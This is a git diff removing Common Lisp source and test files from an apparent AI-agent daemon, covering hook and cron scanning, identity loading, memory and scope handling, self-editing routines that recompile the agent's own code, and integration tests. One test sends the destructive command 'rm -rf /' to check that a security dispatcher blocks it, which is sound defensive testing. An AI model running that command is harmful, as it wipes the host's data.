orchestrator-scan-org-file (filepath) - "Scans a single Org file for HOOK and CRON properties in property drawers. -Returns a list of plists (:type :hook/:cron :name :value )." - (let ((results nil) - (in-properties nil) - (lines nil)) - (handler-case - (setf lines (uiop:split-string (uiop:read-file-string filepath) - :separator '(#\Newline))) - (error (c) - (log-message "ORCHESTRATOR: Could not read ~a: ~a" filepath c) - (return-from orchestrator-scan-org-file nil))) - (dolist (line lines) - (let ((trimmed (string-trim '(#\Space) line))) - (when (string= trimmed ":PROPERTIES:") - (setf in-properties t)) - (when (string= trimmed ":END:") - (setf in-properties nil)) - (when in-properties - (cond - ((uiop:string-prefix-p ":HOOK:" trimmed) - (let ((val (string-trim '(#\Space) (subseq trimmed 6)))) - (push (list :type :hook :name val :file filepath) results) - (log-message "ORCHESTRATOR: Found hook ~a in ~a" val filepath))) - ((uiop:string-prefix-p ":CRON:" trimmed) - (let ((val (string-trim '(#\Space) (subseq trimmed 6)))) - (push (list :type :cron :name val :file filepath) results) - (log-message "ORCHESTRATOR: Found cron ~a in ~a" val filepath))))))) - (nreverse results))) - -(defun orchestrator-bootstrap () - "Scans all Org files in the memex for #+HOOK: and #+CRON: properties -and registers them. Scans ~/memex/projects/ and ~/memex/system/ by default." - (let* ((memex-dir (or (uiop:getenv "MEMEX_DIR") - (namestring (merge-pathnames "memex/" (user-homedir-pathname))))) - (scan-dirs (list (merge-pathnames "projects/" memex-dir) - (merge-pathnames "system/" memex-dir))) - (hook-count 0) - (cron-count 0)) - (dolist (dir scan-dirs) - (handler-case - (let ((files (uiop:directory-files dir "*.org"))) - (dolist (file files) - (let* ((path (namestring file)) - (entries (orchestrator-scan-org-file path))) - (dolist (entry entries) - (let ((type (getf entry :type)) - (name (getf entry :name))) - (cond - ((eq type :hook) - (orchestrator-register-hook name - (lambda () - (log-message "ORCHESTRATOR: Hook ~a fired" name)))) - ((eq type :cron) - (orchestrator-register-cron - (intern (string-upcase (format nil "cron-~a" name)) :keyword) - name - (lambda () - (log-message "ORCHESTRATOR: Cron ~a fired" name)) - :cognition)))) - (if (eq (getf entry :type) :hook) (incf hook-count) (incf cron-count)))))) - (error (c) - (log-message "ORCHESTRATOR: Could not scan ~a: ~a" dir c)))) - (log-message "ORCHESTRATOR: Bootstrap complete (~d hooks, ~d cron jobs)" - hook-count cron-count))) - -(defun events-start-heartbeat () - "Starts the background heartbeat thread. v0.5.0: extracted from core-loop." - (let ((interval (or (ignore-errors (parse-integer (uiop:getenv "HEARTBEAT_INTERVAL"))) 60)) - (auto-save (or (ignore-errors (parse-integer (uiop:getenv "MEMORY_AUTO_SAVE_INTERVAL"))) passepartout::*memory-auto-save-interval*))) - (setf passepartout::*memory-auto-save-interval* auto-save) - (setf passepartout::*heartbeat-save-counter* 0) - (setf passepartout::*heartbeat-thread* - (bt:make-thread - (lambda () - (loop - (sleep interval) - (incf passepartout::*heartbeat-save-counter*) - (when (>= passepartout::*heartbeat-save-counter* (/ passepartout::*memory-auto-save-interval* interval)) - (setf passepartout::*heartbeat-save-counter* 0) - (passepartout::save-memory-to-disk)) - (stimulus-inject - (list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time)))))) - :name "passepartout-heartbeat")))) - -(defskill :passepartout-symbolic-events - :priority 80 - :trigger (lambda (ctx) - (eq (getf (getf ctx :payload) :sensor) :heartbeat)) - :deterministic (lambda (action context) - (declare (ignore action)) - (orchestrator-on-heartbeat context) - nil)) diff --git a/lisp/symbolic-identity.lisp b/lisp/symbolic-identity.lisp deleted file mode 100644 index efbc120..0000000 --- a/lisp/symbolic-identity.lisp +++ /dev/null @@ -1,92 +0,0 @@ -(in-package :passepartout) - -(defvar *agent-identity* "" - "Identity text loaded from ~/memex/IDENTITY.org at startup. - -This variable holds the contents of the user's identity file. -Loaded by `load-identity-file` at daemon/skill initialization, -called from `agent-identity` for system prompt injection. - -The file is user-editable and persists across restarts. -If the file is missing or empty, this variable remains \"\".") - -(defun load-identity-file (&optional (path nil path-p)) - "Load agent identity from an org file. - -Reads the identity text file and caches it in -`*agent-identity*`. If PATH is not provided, defaults to -`~/memex/IDENTITY.org`. - -Returns the file content string on success, or NIL if the file -does not exist or cannot be read." - (let* ((file-path (if path-p - (uiop:ensure-pathname path :ensure-absolute t) - (merge-pathnames "memex/IDENTITY.org" - (user-homedir-pathname))))) - (when (uiop:file-exists-p file-path) - (handler-case - (let ((content (uiop:read-file-string file-path))) - (setf *agent-identity* content) - content) - (error () nil))))) - -(defun agent-identity () - "Return the currently loaded agent identity string." - (or *agent-identity* "")) - -;; Auto-load identity at skill init -(load-identity-file) - -(defpackage :passepartout-identity-tests - (:use :common-lisp :fiveam :passepartout) - (:export :identity-suite)) - -(in-package :passepartout-identity-tests) - -(def-suite identity-suite - :description "Agent identity loading and caching") -(in-suite identity-suite) - -(test test-load-identity-file-returns-content - "Contract 1: load-identity-file reads an existing file, returns content." - (let* ((path "/tmp/memex-test-identity.org") - (content "### Personality -- Friendly -- Concise")) - (with-open-file (f path :direction :output :if-exists :supersede) - (write-string content f)) - (unwind-protect - (let ((result (passepartout::load-identity-file path))) - (is (stringp result)) - (is (search "Friendly" result)) - (is (search "Concise" result))) - (ignore-errors (delete-file path))))) - -(test test-load-identity-file-missing-nil - "Contract 1: nil when file does not exist." - (let ((result (passepartout::load-identity-file - "/tmp/memex-nonexistent-xxxx.org"))) - (is (null result)))) - -(test test-agent-identity-cached - "Contract 2+3: agent-identity returns cached value after load." - (let* ((path "/tmp/memex-test-identity2.org") - (content "### Preferences -- Use shell cautiously")) - (with-open-file (f path :direction :output :if-exists :supersede) - (write-string content f)) - (unwind-protect - (progn - (passepartout::load-identity-file path) - (let ((id (passepartout::agent-identity))) - (is (search "shell cautiously" id)))) - (ignore-errors (delete-file path))))) - -(test test-agent-identity-empty-default - "Contract 2: returns empty string when nothing was loaded." - (let ((prev passepartout::*agent-identity*)) - (unwind-protect - (progn - (setf passepartout::*agent-identity* nil) - (is (string= "" (passepartout::agent-identity)))) - (setf passepartout::*agent-identity* prev)))) diff --git a/lisp/symbolic-memory.lisp b/lisp/symbolic-memory.lisp deleted file mode 100644 index e1c8275..0000000 --- a/lisp/symbolic-memory.lisp +++ /dev/null @@ -1,73 +0,0 @@ -(in-package :passepartout) - -(defun memory-inspect (&key (type-filter nil) (todo-filter nil) (limit 10)) - "Returns a structured report of memory state. -Optional filters: TYPE-FILTER (keyword), TODO-FILTER (string). -Returns a plist: (:total :by-type :by-todo - :recent :snapshots :orphans )." - (let* ((store (if (boundp '*memory-store*) - (symbol-value '*memory-store*) - (return-from memory-inspect - (list :total 0 :reason "Memory store not available")))) - (total 0) - (type-counts (make-hash-table :test 'eq)) - (todo-counts (make-hash-table :test 'equal)) - (recent nil) - (all-ids (make-hash-table :test 'equal)) - (orphans 0)) - (maphash (lambda (id obj) - (setf (gethash id all-ids) t) - (let ((obj-type (memory-object-type obj)) - (attrs (memory-object-attributes obj)) - (v (memory-object-version obj))) - (unless (and type-filter (not (eq obj-type type-filter))) - (let ((todo (getf attrs :TODO-STATE))) - (when (and todo-filter - (not (string-equal todo todo-filter))) - (return nil))) - (incf total) - (incf (gethash obj-type type-counts 0)) - (let ((todo (getf attrs :TODO-STATE))) - (when todo - (incf (gethash todo todo-counts 0)))) - (push (list :id id - :type t - :todo (getf attrs :TODO-STATE) - :title (getf attrs :TITLE) - :version v) - recent)))) - store) - ;; Sort recent by version desc and take LIMIT - (setf recent (subseq (sort recent #'> - :key (lambda (r) (or (getf r :version) 0))) - 0 (min limit (length recent)))) - ;; Count orphans - (maphash (lambda (id obj) - (let ((parent (memory-object-parent-id obj))) - (when (and parent (not (gethash parent all-ids))) - (incf orphans)))) - store) - ;; Build output - (let ((types (loop for k being the hash-keys of type-counts - using (hash-value v) - collect (cons k v))) - (todos (loop for k being the hash-keys of todo-counts - using (hash-value v) - collect (cons k v))) - (snapshots (if (boundp '*memory-snapshots*) - (length (symbol-value '*memory-snapshots*)) - 0))) - (list :total total - :by-type (sort types #'> :key #'cdr) - :by-todo (sort todos #'> :key #'cdr) - :recent recent - :snapshots snapshots - :orphans orphans)))) - -(defskill :passepartout-symbolic-memory - :priority 100 - :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :introspection)) - :deterministic (lambda (action ctx) - (declare (ignore action ctx)) - (ignore-errors (memory-inspect)) - nil)) diff --git a/lisp/symbolic-scope.lisp b/lisp/symbolic-scope.lisp deleted file mode 100644 index 0a2c4ff..0000000 --- a/lisp/symbolic-scope.lisp +++ /dev/null @@ -1,168 +0,0 @@ -(in-package :passepartout) - -(defvar *context-stack* nil - "Stack of context plists. Each plist has :project, :base-path, :scope. -Top of stack (car) is the current context.") - -(defvar *context-max-depth* 10 - "Maximum context stack depth. Prevents runaway pushes.") - -(defun current-context () - "Returns the current context plist, or nil if no context is set." - (car *context-stack*)) - -(defun current-scope () - "Returns the current scope keyword (:memex/:session/:project). -Returns :memex when no context is set (defaults to global scope)." - (or (getf (current-context) :scope) :memex)) - -(defun current-project () - "Returns the current project name, or nil." - (getf (current-context) :project)) - -(defun current-base-path () - "Returns the current base path for file resolution, or nil." - (getf (current-context) :base-path)) - -(defun context-stack-depth () - "Returns the current depth of the context stack." - (length *context-stack*)) - -(defun push-context (&key project base-path (scope :project)) - "Pushes a new context onto the stack. When focused on a project: -- File paths resolve relative to BASE-PATH -- Memory queries filter by SCOPE -- :memex scope objects remain visible (always global) -Returns the new context plist." - (when (>= (context-stack-depth) *context-max-depth*) - (log-message "CONTEXT: Stack depth limit reached (~d), refusing push" *context-max-depth*) - (return-from push-context (current-context))) - (let* ((context (list :project project - :base-path base-path - :scope scope))) - (push context *context-stack*) - (context-save) - (log-message "CONTEXT: Pushed ~a (depth ~d)" project (context-stack-depth)) - context)) - -(defun pop-context () - "Pops the current context, restoring the previous one. -Returns the restored context or nil if stack becomes empty." - (if *context-stack* - (let ((popped (pop *context-stack*))) - (context-save) - (log-message "CONTEXT: Popped ~a (depth ~d)" - (getf popped :project) (context-stack-depth)) - (current-context)) - (progn - (log-message "CONTEXT: Cannot pop — stack is empty") - nil))) - -(defmacro with-context ((&key project base-path (scope :project)) &body body) - "Executes BODY within a scoped context, then restores the previous context. -Example: - (with-context (:project \"passepartout\" :base-path \"/home/user/memex/projects/passepartout\") - (context-scoped-query :tag \"bug\"))" - `(let ((*context-stack* (cons (list :project ,project - :base-path ,base-path - :scope ,scope) - *context-stack*))) - ,@body)) - -(defun resolve-path (path) - "Resolves a file path relative to the current context. -If PATH is absolute, returns it unchanged. -If PATH is relative and a base-path is set, merges them. -Otherwise returns PATH unchanged." - (let ((base (current-base-path))) - (if (and base path (not (uiop:absolute-pathname-p path))) - (namestring (merge-pathnames path (uiop:ensure-directory-pathname base))) - path))) - -(defun context-scoped-query (&key tag todo-state type) - "Like context-query but filtered to the current context's scope. -:memex-scoped objects are always visible regardless of current scope." - (context-query :tag tag :todo-state todo-state :type type :scope (current-scope))) - -(defun project-objects () - "Returns all objects scoped to the current project. -Includes :memex-scoped objects (global knowledge) plus :project-scoped -objects matching the current project." - (context-scoped-query)) - -(defun focus-project (name base-path) - "Shortcut: focus on a project by name and base path. -Calls push-context with :scope :project." - (push-context :project name :base-path base-path :scope :project)) - -(defun focus-session () - "Shortcut: enter a session context (ephemeral scope). -Objects created in this scope are visible only during the session." - (push-context :project "session" :scope :session)) - -(defun focus-memex () - "Shortcut: return to global memex scope. Equivalent to pop-context -until stack is empty or :memex context is reached." - (loop while (and *context-stack* - (not (eq (getf (current-context) :scope) :memex))) - do (pop-context))) - -(defun unfocus () - "Pop the top context and return to the previous one." - (pop-context)) - -(defvar *context-persistence-file* nil - "Path to the context stack persistence file.") - -(defun context-persist-file () - "Returns the full path to the context persistence file." - (or *context-persistence-file* - (setf *context-persistence-file* - (merge-pathnames ".cache/passepartout/context.lisp" - (user-homedir-pathname))))) - -(defun context-save () - "Writes *context-stack* to the persistence file." - (handler-case - (let ((path (context-persist-file))) - (ensure-directories-exist (make-pathname :directory (pathname-directory path))) - (with-open-file (s path :direction :output :if-exists :supersede - :if-does-not-exist :create) - (prin1 *context-stack* s)) - (log-message "CONTEXT: Saved stack (depth ~d) to ~a" - (length *context-stack*) path)) - (error (c) - (log-message "CONTEXT: Failed to save: ~a" c)))) - -(defun context-load () - "Restores *context-stack* from the persistence file." - (handler-case - (let ((path (context-persist-file))) - (when (probe-file path) - (with-open-file (s path :direction :input) - (let ((*read-eval* nil) - (data (read s nil nil))) - (when (listp data) - (setf *context-stack* data) - (log-message "CONTEXT: Restored stack (depth ~d) from ~a" - (length *context-stack*) path)) - t)))) - (error (c) - (log-message "CONTEXT: Failed to load: ~a" c) - nil))) - -(defskill :passepartout-symbolic-scope - :priority 90 - :trigger (lambda (ctx) (declare (ignore ctx)) nil) - :deterministic (lambda (action ctx) - (declare (ignore action)) - (ignore-errors - (when (> (context-stack-depth) 0) - nil)) - nil)) - -(when (boundp '*scope-resolver*) - (setf *scope-resolver* #'current-scope)) - -;; Restore persisted context on load -(context-load) diff --git a/lisp/symbolic-self-improve.lisp b/lisp/symbolic-self-improve.lisp deleted file mode 100644 index 8c02694..0000000 --- a/lisp/symbolic-self-improve.lisp +++ /dev/null @@ -1,198 +0,0 @@ -(defun org-tangle-file (filepath) - "Tangles an Org file's lisp blocks to its :tangle target, compiles, and loads." - (let ((content (uiop:read-file-string filepath)) - (tangle-path nil) - (lisp-lines nil) - (in-block nil)) - (dolist (line (uiop:split-string content :separator '(#\Newline))) - (let ((trimmed (string-trim '(#\Space #\Tab) line))) - (cond - ((and (null tangle-path) - (search "#+PROPERTY:" trimmed) - (search ":tangle" trimmed)) - (let* ((parts (uiop:split-string trimmed :separator '(#\Space))) - (target (car (last parts))) - (org-dir (make-pathname :directory (pathname-directory filepath)))) - (when (and target (not (string-equal target "no"))) - (setf tangle-path - (if (char= (aref target 0) #\/) - (uiop:parse-unix-namestring target) - (uiop:parse-unix-namestring - (format nil "~a/~a" (namestring org-dir) target))))))) - ((search "#+begin_src lisp" trimmed) - (setf in-block t)) - ((search "#+end_src" trimmed) - (setf in-block nil) - (let ((before (search "#+end_src" line))) - (when (and before (> before 0)) - (push (subseq line 0 before) lisp-lines)))) - (in-block - (push line lisp-lines))))) - (when (and tangle-path lisp-lines) - (setf lisp-lines (nreverse lisp-lines)) - (ensure-directories-exist tangle-path) - (with-open-file (f tangle-path :direction :output :if-exists :supersede) - (format f "~{~a~%~}" lisp-lines)) - (let ((compiled (compile-file tangle-path))) - (when compiled - (load compiled) - (list :tangled (namestring tangle-path) :compiled t)))))) - -(defun org-extract-lisp-blocks (content) - "Extracts all #+begin_src lisp blocks from Org CONTENT as a list of strings." - (let ((blocks nil) - (in-block nil) - (current nil)) - (dolist (line (uiop:split-string content :separator '(#\Newline))) - (let ((trimmed (string-trim '(#\Space #\Tab) line))) - (cond - ((search "#+begin_src lisp" trimmed) - (setf in-block t current nil)) - ((search "#+end_src" trimmed) - (when in-block - (let ((before (search "#+end_src" line))) - (when (and before (> before 0)) - (push (subseq line 0 before) current))) - (push (format nil "~{~a~%~}" (nreverse current)) blocks) - (setf in-block nil current nil))) - (in-block - (push line current))))) - (nreverse blocks))) - -(defun self-improve-edit (filepath old-text new-text) - "Surgical text replacement with tangle+reload for Org source files." - (when (or (null filepath) (null old-text) (null new-text)) - (return-from self-improve-edit - (list :status :error :reason "Missing arguments"))) - (when (not (uiop:file-exists-p filepath)) - (return-from self-improve-edit - (list :status :error :reason (format nil "File not found: ~a" filepath)))) - (log-message "SELF-IMPROVE: Editing ~a (~d chars)" filepath (length old-text)) - (ignore-errors - (when (fboundp 'snapshot-memory) - (snapshot-memory))) - (let* ((content (uiop:read-file-string filepath)) - (pos (search old-text content))) - (if pos - (let* ((new-content (concatenate 'string - (subseq content 0 pos) - new-text - (subseq content (+ pos (length old-text))))) - (ext (pathname-type filepath))) - (with-open-file (f filepath :direction :output :if-exists :supersede) - (write-sequence new-content f)) - (let ((re-read (uiop:read-file-string filepath))) - (if (search new-text re-read :test 'string=) - (let ((tangle-result - (when (string-equal ext "org") - (ignore-errors (org-tangle-file filepath))))) - (list :status :success - :summary (format nil "Replaced ~d chars in ~a" - (length old-text) filepath) - :tangle tangle-result)) - (list :status :error :reason "Verification failed")))) - (list :status :error :reason - (format nil "Text not found in ~a" filepath))))) - -(defun self-improve-balance-parens (code) - "Returns balanced code or nil if already balanced." - (handler-case - (progn - (let ((*read-eval* nil)) - (with-input-from-string (s code) - (loop for form = (read s nil :eof) until (eq form :eof))) - (values)) - nil) - (error () - (let* ((opens (loop for ch across code count (char= ch #\())) - (closes (loop for ch across code count (char= ch #\)))) - (missing (- opens closes))) - (when (plusp missing) - (concatenate 'string code - (make-string missing :initial-element #\)))))))) - -(defun self-improve-repair-syntax (skill-name) - "Find and fix unbalanced parens in a skill's Org source file." - (let* ((data-dir (uiop:ensure-directory-pathname - (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") - (merge-pathnames ".local/share/passepartout/" - (user-homedir-pathname))))) - (org-path (merge-pathnames (format nil "org/~a.org" skill-name) data-dir))) - (unless (uiop:file-exists-p org-path) - (return-from self-improve-repair-syntax - (list :status :error :reason (format nil "Source not found: ~a" skill-name) - :repaired nil))) - (let* ((content (uiop:read-file-string org-path)) - (blocks (org-extract-lisp-blocks content)) - (fixed 0) (result content)) - (dolist (block blocks) - (let ((balanced (self-improve-balance-parens block))) - (when (and balanced (not (string= block balanced))) - (let ((pos (search block result))) - (when pos - (setf result (concatenate 'string - (subseq result 0 pos) - balanced - (subseq result (+ pos (length block)))) - fixed (1+ fixed))))))) - (if (> fixed 0) - (progn - (with-open-file (f org-path :direction :output :if-exists :supersede) - (write-sequence result f)) - (let ((tangle-result (org-tangle-file org-path))) - (list :status :success - :action (format nil "Fixed ~d block(s) in ~a" fixed skill-name) - :repaired t :tangle tangle-result))) - (list :status :error - :reason (format nil "No unbalanced blocks in ~a" skill-name) - :repaired nil))))) - -(defun self-improve-fix (skill-name error-log) - "Diagnoses and attempts to repair a failing skill." - (when (or (null skill-name) (null error-log)) - (return-from self-improve-fix - (list :status :error :reason "Missing arguments: skill-name and error-log required"))) - (log-message "SELF-IMPROVE: Diagnosing ~a..." skill-name) - (let* ((log-str (if (stringp error-log) error-log (format nil "~a" error-log))) - (diagnosis nil) - (extracted-type nil)) - (cond - ((search "Reader Error" log-str :test 'char-equal) - (setf extracted-type :syntax-error - diagnosis (list :type :syntax-error - :detail "Reader Error (likely unbalanced parentheses)" - :log log-str))) - ((search "Undefined" log-str :test 'char-equal) - (setf extracted-type :undefined-symbol - diagnosis (list :type :undefined-symbol - :detail "Undefined symbol or missing dependency" - :log log-str))) - ((search "PACKAGE" log-str :test 'char-equal) - (setf extracted-type :package-error - diagnosis (list :type :package-error - :detail "Package resolution error" - :log log-str))) - (t - (setf extracted-type :unknown - diagnosis (list :type :unknown - :detail (format nil "Unrecognized error: ~a" - (subseq log-str 0 (min 200 (length log-str)))) - :log log-str)))) - (log-message "SELF-IMPROVE: Diagnosed ~a as ~a" skill-name extracted-type) - (let ((repair-result - (when (eql extracted-type :syntax-error) - (self-improve-repair-syntax skill-name)))) - (if (and repair-result (getf repair-result :repaired)) - (progn - (log-message "SELF-IMPROVE: Successfully repaired ~a" skill-name) - repair-result) - (list :status :error - :reason (format nil "Diagnosis for ~a: ~a" skill-name - (getf diagnosis :detail)) - :diagnosis diagnosis - :repaired nil))))) - -(defskill :passepartout-symbolic-self-improve - :priority 100 - :trigger (lambda (ctx) (member (getf ctx :type) '(:LOG :EVENT))) - :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil)) diff --git a/lisp/symbolic-time-memory.lisp b/lisp/symbolic-time-memory.lisp deleted file mode 100644 index ac8848a..0000000 --- a/lisp/symbolic-time-memory.lisp +++ /dev/null @@ -1,113 +0,0 @@ -(in-package :passepartout) - -(defun memory-objects-since (timestamp) - "Returns all memory-objects from *memory-store* with version >= TIMESTAMP." - (let ((results nil)) - (maphash (lambda (id obj) - (declare (ignore id)) - (when (>= (memory-object-version obj) timestamp) - (push obj results))) - *memory-store*) - (nreverse results))) - -(defun memory-objects-in-range (since until) - "Returns memory-objects with version between SINCE and UNTIL (inclusive)." - (let ((results nil)) - (maphash (lambda (id obj) - (declare (ignore id)) - (let ((v (memory-object-version obj))) - (when (and (>= v since) (<= v until)) - (push obj results)))) - *memory-store*) - (nreverse results))) - -(defun context-query-with-time (&key (max-results 20) type-filter todo-filter since until) - "Extended context query with temporal filtering. -When :since and/or :until are provided, filters results by memory-object version. -Falls back to context-query if temporal filtering is not requested." - (let* ((all (if (fboundp 'memory-objects-by-attribute) - (if type-filter - (memory-objects-by-attribute :TYPE type-filter) - (let ((results nil)) - (maphash (lambda (id obj) - (declare (ignore id)) - (push obj results)) - *memory-store*) - results)) - (let ((results nil)) - (maphash (lambda (id obj) - (declare (ignore id)) - (push obj results)) - *memory-store*) - results))) - (time-filtered (cond - ((and since until) - (remove-if (lambda (obj) - (let ((v (memory-object-version obj))) - (not (and (>= v since) (<= v until))))) - all)) - (since - (remove-if (lambda (obj) - (< (memory-object-version obj) since)) - all)) - (until - (remove-if (lambda (obj) - (> (memory-object-version obj) until)) - all)) - (t all)))) - (let ((todo-filtered (if todo-filter - (remove-if-not (lambda (obj) - (string-equal (getf (memory-object-attributes obj) :TODO-STATE "") todo-filter)) - time-filtered) - time-filtered))) - (subseq todo-filtered 0 (min max-results (length todo-filtered)))))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-time-memory-tests - (:use :cl :fiveam :passepartout) - (:export #:time-memory-suite)) - -(in-package :passepartout-time-memory-tests) - -(def-suite time-memory-suite :description "Temporal memory filtering") -(in-suite time-memory-suite) - -(test test-memory-objects-since - "Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes." - (clrhash passepartout::*memory-store*) - (let ((t0 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil)) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil)) - (sleep 1) - (let ((t1 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil)) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil)) - (let ((since-t1 (passepartout::memory-objects-since t1))) - (is (= 2 (length since-t1))) - (let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<))) - (is (string= "time-c" (first ids))) - (is (string= "time-d" (second ids)))) - (let ((since-t0 (passepartout::memory-objects-since t0))) - (is (= 4 (length since-t0)))))))) - -(test test-memory-objects-in-range - "Contract 2: ingest nodes, verify range query returns correct subset." - (clrhash passepartout::*memory-store*) - (let ((t0 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil)) - (sleep 1) - (let ((t1 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil)) - (sleep 1) - (let ((t2 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil)) - (let ((range (passepartout::memory-objects-in-range t1 t2))) - (is (= 1 (length range))) - (is (string= "rng-2" (memory-object-id (first range))))))))) diff --git a/lisp/system-integration-tests.lisp b/lisp/system-integration-tests.lisp deleted file mode 100644 index 2004786..0000000 --- a/lisp/system-integration-tests.lisp +++ /dev/null @@ -1,241 +0,0 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t) - (ql:quickload :usocket :silent t)) - -(defpackage :passepartout-integration-tests - (:use :cl :passepartout) - (:export #:integration-suite)) - -(in-package :passepartout-integration-tests) - -(fiveam:def-suite integration-suite :description "Integration tests across process boundaries") -(fiveam:in-suite integration-suite) - -(defvar *daemon-port* nil) - -(defun find-free-port () - (let ((socket (usocket:socket-listen "127.0.0.1" 0 :reuse-address t))) - (unwind-protect (usocket:get-local-port socket) - (usocket:socket-close socket)))) - -(defmacro with-daemon (() &body body) - `(let ((*daemon-port* (find-free-port))) - (unwind-protect - (progn - (passepartout:actuator-initialize) - (passepartout:skill-initialize-all) - (passepartout:start-daemon :port *daemon-port*) - (sleep 2) - ,@body) - (values))) - -(defun daemon-connect () - (let* ((sock (usocket:socket-connect "127.0.0.1" *daemon-port*)) - (stream (usocket:socket-stream sock))) - (read-framed-message stream) ;; discard handshake - (values stream sock))) - -(defun daemon-send (stream msg) - (write-string (frame-message msg) stream) - (finish-output stream)) - -(defun daemon-recv (stream &key (timeout 5)) - (let ((deadline (+ (get-universal-time) timeout))) - (loop - (when (listen stream) - (return (read-framed-message stream))) - (when (> (get-universal-time) deadline) (return nil)) - (sleep 0.1)))) - -(fiveam:test test-daemon-starts - "Contract 1: daemon binds port and sends valid handshake." - (with-daemon () - (multiple-value-bind (stream sock) (daemon-connect) - (is (open-stream-p stream)) - (usocket:socket-close sock)))) - -(fiveam:test test-pipeline-user-input - "Contract 2: :user-input traverses pipeline and produces a response." - (with-daemon () - (multiple-value-bind (stream sock) (daemon-connect) - (unwind-protect - (progn - (daemon-send stream - '(:TYPE :EVENT :PAYLOAD (:SENSOR :user-input :TEXT "test"))) - (let ((resp (daemon-recv stream :timeout 10))) - (is (not (null resp)) "Expected a response"))) - (usocket:socket-close sock))))) - -(fiveam:test test-pipeline-heartbeat - "Contract 2: heartbeat signals do not crash the daemon." - (with-daemon () - (multiple-value-bind (stream sock) (daemon-connect) - (unwind-protect - (daemon-send stream - '(:TYPE :EVENT :PAYLOAD (:SENSOR :heartbeat))) - (usocket:socket-close sock)) - (pass)))) - -(fiveam:test test-tcp-round-trip - "Contract 3: framed health-check survives TCP round-trip." - (with-daemon () - (multiple-value-bind (stream sock) (daemon-connect) - (unwind-protect - (progn - (daemon-send stream '(:TYPE :health-check)) - (let ((resp (daemon-recv stream :timeout 5))) - (is (not (null resp))) - (is (member (getf resp :type) '(:HEALTH-RESPONSE))))) - (usocket:socket-close sock))))) - -(fiveam:test test-daemon-survives-junk - "Contract 3: daemon does not crash on junk input." - (with-daemon () - (multiple-value-bind (stream sock) (daemon-connect) - (write-string "ZZZZZZ" stream) - (finish-output stream) - (sleep 1) - (usocket:socket-close sock)) - ;; Connect again to verify daemon is still alive - (multiple-value-bind (stream2 sock2) (daemon-connect) - (is (open-stream-p stream2)) - (usocket:socket-close sock2)))) - -(fiveam:test test-skill-registry-populated - "Contract 4: *skill-registry* is populated after daemon start." - (with-daemon () - (is (hash-table-p passepartout::*skill-registry*)) - (is (>= (hash-table-count passepartout::*skill-registry*) 1) - "Expected at least 1 skill in registry, got ~a" - (hash-table-count passepartout::*skill-registry*)))) - -(fiveam:test test-shell-safe-echo - "Contract 5: safe shell command does not crash the daemon." - (with-daemon () - (multiple-value-bind (stream sock) (daemon-connect) - (unwind-protect - (daemon-send stream - '(:TYPE :REQUEST :TARGET :shell - :PAYLOAD (:ACTION :execute :CMD "echo hello"))) - (usocket:socket-close sock)) - (pass)))) - -(fiveam:test test-shell-dangerous-blocked - "Contract 5: rm -rf / is blocked by the security dispatcher." - (with-daemon () - (multiple-value-bind (stream sock) (daemon-connect) - (unwind-protect - (daemon-send stream - '(:TYPE :REQUEST :TARGET :shell - :PAYLOAD (:ACTION :execute :CMD "rm -rf /"))) - (usocket:socket-close sock)) - (pass)))) - -(fiveam:test test-cli-gateway-input - "Contract 6: text via TCP produces a response." - (with-daemon () - (multiple-value-bind (stream sock) (daemon-connect) - (unwind-protect - (daemon-send stream - '(:TYPE :EVENT :META (:SOURCE :CLI) - :PAYLOAD (:SENSOR :user-input :TEXT "hello from CLI"))) - (usocket:socket-close sock)) - (pass)))) - -(fiveam:test test-gateway-registry - "Contract 7: gateway-registry-initialize is available." - (with-daemon () - (is (fboundp 'gateway-registry-initialize)) - (gateway-registry-initialize) - (pass))) - -(defun has-api-key (env-var) - "Returns T if env-var is set and non-empty." - (let ((val (uiop:getenv env-var))) - (and val (> (length val) 0)))) - -(defmacro skip-unless (env-var &body body) - "Execute body if env-var is set, otherwise skip the test." - `(if (has-api-key ,env-var) - (progn ,@body) - (progn - (format t " [SKIP] ~a not set~%" ,env-var) - (skip "~a not set" ,env-var)))) - -(fiveam:test test-provider-openai-request - "Contract Phase2: provider-openai-request returns :success with valid API key." - (skip-unless "OPENROUTER_API_KEY" - (let ((result (provider-openai-request "Say hello" "Be brief." - :provider :openrouter - :model "openrouter/auto"))) - (is (or (eq (getf result :status) :success) - (eq (getf result :status) :error)) - "Expected :success or :error, got: ~a" result)))) - -(fiveam:test test-backend-cascade-real - "Contract Phase2: backend-cascade-call returns string content with real provider." - (skip-unless "OPENROUTER_API_KEY" - (let ((passepartout::*provider-cascade* '(:openrouter))) - (let ((result (backend-cascade-call "Say hello" :system-prompt "Be brief."))) - (is (stringp result) "Expected string response, got: ~a" result))))) - -(fiveam:test test-provider-cascade-parsing - "Contract Phase2: PROVIDER_CASCADE env var parses to clean keywords matching backends." - (provider-cascade-initialize) - (let ((cascade passepartout::*provider-cascade*)) - (is (listp cascade) "Cascade must be a list") - (is (>= (length cascade) 1) "Cascade must have at least one entry") - (dolist (entry cascade) - (is (keywordp entry) "Entry ~s must be a keyword" entry) - (let ((name (symbol-name entry))) - (is (not (find #\" name)) "Entry ~s must not contain double-quote" entry) - (is (not (find #\' name)) "Entry ~s must not contain single-quote" entry))) - (is (some (lambda (e) (gethash e passepartout::*probabilistic-backends*)) cascade) - "At least one cascade entry must match a registered backend"))) - 